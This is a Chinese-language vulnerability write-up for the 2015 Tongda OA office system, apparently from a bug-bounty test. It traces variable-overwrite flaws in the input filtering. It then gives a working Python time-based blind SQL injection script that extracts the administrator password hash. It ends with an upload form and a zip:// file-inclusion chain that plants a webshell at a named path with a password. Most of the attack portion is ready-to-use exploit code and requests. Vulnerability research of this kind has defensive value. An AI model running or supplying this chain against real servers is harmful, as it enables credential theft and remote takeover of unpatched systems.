2015通达oa-从前台注入到后台getshell
最近做众测的时候遇上的一个系统,2015版本的最新更新日期:2016-07-22
注入分析
\inc\common.inc.php
<?php
function SecureRequest(&$var)
{
if (is_array($var)) {
foreach ($var as $_k => $_v ) {
$var[$_k] = securerequest($_v);
}
}
else {
if ((0 < strlen($var)) && preg_match("#^(MYOA_|GLOBALS|_GET|_POST|_COOKIE|_ENV|_SERVER|_FILES|_SESSION)#", $var)) {
exit("Invalid Parameters!");
}
if (!get_magic_quotes_gpc()) {
$var = addslashes($var);
}
}
return $var;
}
function CheckRequest(&$val)
{
if (is_array($val)) {
foreach ($val as $_k => $_v ) {
checkrequest($_k);
checkrequest($val[$_k]);
}
}
else {
if ((0 < strlen($val)) && preg_match("#^(MYOA_|GLOBALS|_GET|_POST|_COOKIE|_ENV|_SERVER|_FILES|_SESSION)#", $val)) {
exit("Invalid Parameters!");
}
}
}
function RemoveXSS($val)
{
if (is_array($val)) {
foreach ($val as $key => $val ) {
$val[$key] = removexss($val);
}
}
$val = preg_replace("/([\\x00-\\x08,\\x0b-\\x0c,\\x0e-\\x19])/", "", $val);
$ra = array("javascript", "vbscript", "expression", "script", "iframe", "frame", "onerror", "onload", "onmousemove", "onmouseout", "onmouseover", "onmove", "onmovestart");
$found = true;
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = "/";
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if (0 < $j) {
$pattern .= "(";
$pattern .= "(&#[xX]0{0,8}([9ab]);)";
$pattern .= "|";
$pattern .= "|(�{0,8}([9|10|13]);)";
$pattern .= ")*";
}
$pattern .= $ra[$i][$j];
}
$pattern .= "/i";
$replacement = substr($ra[$i], 0, 2) . " " . substr($ra[$i], 2);
$val = preg_replace($pattern, $replacement, $val);
if ($val_before == $val) {
$found = false;
}
}
}
return $val;
}
checkrequest($_REQUEST);
if (0 < count($_COOKIE)) {
foreach ($_COOKIE as $s_key => $s_value ) {
$_COOKIE[$s_key] = strip_tags(securerequest($s_value));
$$s_key = $_COOKIE[$s_key];
}
reset($_COOKIE);
}
if (0 < count($_POST)) {
$arr_html_fields = array();
foreach ($_POST as $s_key => $s_value ) {
if (substr($s_key, 0, 15) != "TD_HTML_EDITOR_") {
if (is_array($s_value)) {
$_POST[$s_key] = securerequest($s_value);
}
else {
$_POST[$s_key] = strip_tags(securerequest($s_value));
}
$$s_key = $_POST[$s_key];
}
else {
unset($_POST[$s_key]);
$s_key = substr($s_key, 15);
$$s_key = securerequest($s_value);
$arr_html_fields[$s_key] = $$s_key;
}
}
reset($_POST);
$_POST = array_merge($_POST, $arr_html_fields);
}
if (0 < count($_GET)) {
foreach ($_GET as $s_key => $s_value ) {
$_GET[$s_key] = strip_tags(securerequest($s_value));
$$s_key = $_GET[$s_key];
}
reset($_GET);
}
unset($s_key);
unset($s_value);
逻辑分析一下,
CheckRequest函数去检查$_REQUEST
,通达oa是环境程序一体安装等,php版本是5.3.29,这个时候的$_REQUEST
不包含$_COOKIE
的,所以可以通过cookie来覆盖变量。
但是有一个很蛋疼的东西就是
$_COOKIE[$s_key] = strip_tags(securerequest($s_value));
strip_tags
是没办法处理数组的,所以会返回null,故想覆盖比如_SESSION['a']
的话,是没办法的。
接下来看后面的$_COOKIE
->$_POST
->$_GET
,这些都是用SecureRequest函数去检查。然而这个函数只检查了数组键值,=。=,然后还不允许这样以_GET、_POST等开头变量覆盖
preg_match("#^(MYOA_|GLOBALS|_GET|_POST|_COOKIE|_ENV|_SERVER|_FILES|_SESSION)#", $var)
看到这段对$_post的处理
if (substr($s_key, 0, 15) != "TD_HTML_EDITOR_") {
xxx
}
else {
unset($_POST[$s_key]);
$s_key = substr($s_key, 15);
$$s_key = securerequest($s_value);
$arr_html_fields[$s_key] = $$s_key;
}
=。=,如果传过去一个TD_HTML_EDITOR__SESSION[a]=1
,最后不就成了_SESSION[a]=1
,还顺便绕过了上面的正则检查。
注入很多,用的是80sec的waf,比如
http://lemon.love:8081/general/document/index.php/send/approve/finish
public function approve_finish()
{
$CUR_USER_ID = $_SESSION["LOGIN_USER_ID"];
$sid = $this->input->post("sid");
$sid = rtrim($sid, ",");
$sql = "select sid,user_list from doc_send_data where cur_user='$CUR_USER_ID' and status='2' and sid in($sid)";
$query = $this->db->query($sql);
bypass出数据:
import threading,time
import requests
url = "http://lemon.love:8081/general/document/index.php/send/approve/finish"
def exp(n):
global data
for c in range(33,127):
i = c
flag = 1
payload = "1) and char(@`'`) union select if(ord(mid(PASSWORD,%d,1))=%d,sleep(8),1),1 from user WHERE BYNAME = 0x61646d696e #and char(@`'`)" % (n,i)
exp_data = {
'sid' : payload
}
cookies = {
'_SERVER' : ''
}
try:
res = requests.post(url, data=exp_data, cookies=cookies, timeout=5)
except:
data[n] = chr(i)
print "Data %dth: %s" % (n,data[n])
flag = 0
break
if flag:
exit()
def main():
threadpool=[]
for n in xrange(1,10):
th = threading.Thread(target=exp,args= (n,))
threadpool.append(th)
for th in threadpool:
th.start()
for th in threadpool :
threading.Thread.join(th)
if __name__ == '__main__':
data = {}
start_time = time.time()
main()
print "Get data: ",data
print "Spend time: ",time.time()-start_time
for i in sorted(data):
print data[i],
这样就可以跑出管理员密码,这个是用unix加密的,放cmd5解密一下就好了。
上传+包含=>getshell
general\reportshop\utils\upload.php
上传没验证,然后又可以变量覆盖。所以可以直接上传一个php。
exp.html
<form action="http://lemon.love:8081/general/reportshop/utils/upload.php?action=upload&filetype=xls" method="POST" enctype="multipart/form-data">
<input type="file" value="" name="FILE1">
<input type="submit" value="submit" name="submit">
</form>
上传的地址是:xxx/attachment/reportshop/templates/upload.php
但是因为环境是一体的,所以这些上传的目录并没有执行权限。
看到这段运行的。
function delete_file($url)
{
$url .= "general/reportshop/utils/upload.php?cluster=&action=" . $_POST["action"] . "&filetype=" . $_POST["filetype"] . "&filename={$_POST["filename"]}";
include ($url);
}
其中是这样调用的
else if ($action == "unupload") {
if ($filetype == "xls") {
xx;
}
else if ($filetype == "img") {
xx;
}
else if ($filetype == "attach") {
$uploaddir = MYOA_ATTACH_PATH . "reportshop/attachment/" . trim($filename);
if (is_file($uploaddir)) {
unlink($uploaddir);
if (!isset($cluster)) {
foreach ($arr_erp_server as $s_server ) {
delete_file($s_server);
}
}
}
}
}
所以是这样的一个情况,
<?php
include $_GET[1] . "general/reportshop/utils/upload.php?cluster=&action=" . $_POST["action"] . "&filetype=" . $_POST["filetype"] . "&filename={$_POST["filename"]}";
这样的包含,可以利用zip、phar协议,但是后面还有?&=
等符号,一个文件也没发这样创建。
先创建一个upload.....(很多.).php,然后在winhex里面修改它为
这样zip协议包含的时候就可以包含到这个文件了。
整理一下利用过程:
- 先上传zip文件,里面包含payload
- 再上传一个1.txt文件(任意内容都可以,主要是为了进入include包含里面的条件)
- 进行包含
http://lemon.love:8081/general/reportshop/utils/upload.de.php?action=unupload&filename=../templates/1.txt&filetype=attach
post数据:注意路径在进入后台后有一个系统信息可看到路径
TD_HTML_EDITOR_arr_erp_server[aaa]=zip://C:\WWW\code-src\myoa\webroot\attachment\reportshop\templates\kk123.zip%23
这个zip包含后会生成一个shell,地址是
http://lemon.love:8081/general/reportshop/utils/l.php
password:kk123